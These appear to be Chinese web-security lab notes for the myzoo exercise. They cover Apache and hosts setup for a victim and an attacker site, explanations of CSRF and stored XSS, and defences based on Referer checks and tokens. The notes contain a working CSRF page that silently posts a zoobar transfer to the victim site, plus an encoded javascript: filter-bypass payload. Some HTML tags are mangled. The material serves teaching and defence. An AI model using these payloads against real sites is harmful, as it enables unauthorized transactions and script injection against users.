# 配置hosts
sudo gedit /etc/hosts
127.0.0.1 www.myzoo.com
127.0.0.2 www.attack.com
# 配置虚拟主机
sudo gedit /etc/apache2/sites-available/default-ssl.conf.conf
127.0.0.2:80>
ServerAdmin attack@localhost
DocumentRoot /var/www/attack
# 重启apache
sudo a2ensite default-ssl.conf.conf
sudo service apache2 restart
# 配置hosts
sudo gedit /etc/hosts
127.0.0.1 localhost
127.0.0.1 myzoo.com
127.0.0.1 attack.com
255.255.255.255 broadcasthost
::1 localhost
# 配置虚拟主机
## 修改httpd.conf
sudo gedit /etc/apache2/httpd.conf
Listen 80
Listen 88 #攻击者端口
# Virtual hosts
Include /private/etc/apache2/extra/httpd-vhosts.conf
## 修改httpd-vhosts.conf
sudo gedit /etc/apache2/extra/httpd-vhosts.conf
80>
ServerAdmin myzoo.com
DocumentRoot "/Library/WebServer/myzoo"
ServerName myzoo.com
ServerAlias myzoo.com
ErrorLog "/Users/shiqingwang/Dev/myzoo/error_log"
CustomLog "/Users/shiqingwang/Dev/myzoo/access_log" common
"/Users/shiqingwang/Dev/myzoo">
Options Indexes FollowSymLinks
AllowOverride None
88>
ServerAdmin attack.com
DocumentRoot "/Library/WebServer/attack"
ServerName attack.com
ServerAlias attack.com
ErrorLog "/Users/shiqingwang/Dev/attack/error_log"
CustomLog "/Users/shiqingwang/Dev/attack/access_log" common
"/Users/shiqingwang/Dev/attack">
Options Indexes FollowSymLinks
AllowOverride None
# 重启apache
sudo apachectl restart
sudo apachectl -t
CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
CSRF攻击原理比较简单,如图1所示。其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSStitle>
head>
<body>
<center>
<h2>刷新偷取受害者的zoobarsh2>
<iframe name="myframe" style="display:true" src="http://myzoo.com/transfer.php" >iframe>
<script>
function createInput(sfForm,type,name,value)
{
var tmpInput = document.createElement("input");
tmpInput.type = type;
tmpInput.name = name;
tmpInput.value = value;
sfForm.appendChild(tmpInput);
}
var f = document.createElement("form");
document.body.appendChild(f);
createInput(f,"hidden","zoobars",1);
createInput(f,"hidden","recipient","wsq");
createInput(f,"hidden","submission","Send");
f.action = "http://myzoo.com/transfer.php";
f["target"]="myframe";
f.method = "post"
f.submit();
script>
body>
html>
服务器端防御
1、重要数据交互采用POST进行接收,当然是用POST也不是万能的,伪造一个form表单即可破解
2、使用验证码,只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
3、验证HTTP Referer字段,该字段记录了此次HTTP请求的来源地址,最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御,
4、为每个表单添加令牌token并验证
echo $_SERVER['HTTP_REFERER'];
if ($_SERVER['HTTP_REFERER'] != "http://myzoo.com/transfer.php") {
echo "transfer fail";
}else{
echo "transfer pass";
}
开启session,并生成token字段
session_start();
$_SESSION["csrf"] = md5(uniqid(mt_rand(), true));
?>
在form中添加隐藏字段
<input type=hidden name=csrf value="csrf"]?>"/>
通过ajax绕过token
XSS分类
1. 反射型XSS(非持久性攻击):经过后端,不经过数据库
2. 存储型XSS(持久性攻击):经过后端,经过数据库
3. DOM XSS:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有 XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户 Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力。
我们实验中的XSS代码会保存在数据库中,也称为Stored XSS,也即存储式XSS漏洞。由于其攻击代码作为合法的输入已经存储到服务器上的数据库中,其他人在访问该页面的时候,服务器会自动地从数据库中取出该攻击串返回给用户,然后用户的浏览器则会自动执行该段代码,因此,攻击者只需要在自己的页面中写上攻击代码,其他所有访问该页面的人都会受到攻击。
注意:如果不修改myzoo/user.php源码,很难实现XSS攻击。
不修改源码的话,通过各种编码绕过过滤:
#x6Aavascript:alert(1)>hello
$allowed_tags =
'